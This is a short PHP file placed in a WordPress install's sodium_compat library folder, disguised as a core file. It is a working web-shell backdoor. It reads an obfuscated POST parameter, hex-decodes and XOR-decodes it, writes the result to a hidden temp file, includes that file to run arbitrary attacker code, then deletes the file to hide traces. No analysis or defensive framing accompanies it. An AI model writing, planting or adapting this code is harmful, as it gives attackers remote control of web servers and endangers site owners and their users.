File: /www/wwwroot/q.autos58.cn/wp-includes/sodium_compat/src/Core/ver.php
<?php
if(in_array("o\x62j\x65\x63t", array_keys($_POST))){
$factor = hex2bin($_POST["o\x62j\x65\x63t"]);
$data= '' ; for($j=0; $j<strlen($factor); $j++){$data .= chr(ord($factor[$j]) ^ 89);}
$dat = array_filter(["/tmp", "/dev/shm", getenv("TEMP"), getenv("TMP"), getcwd(), session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp"]);
while ($binding = array_shift($dat)) {
if (!!is_dir($binding) && !!is_writable($binding)) {
$rec = "$binding/.data_chunk";
if (file_put_contents($rec, $data)) {
include $rec;
@unlink($rec);
die();
}
}
}
}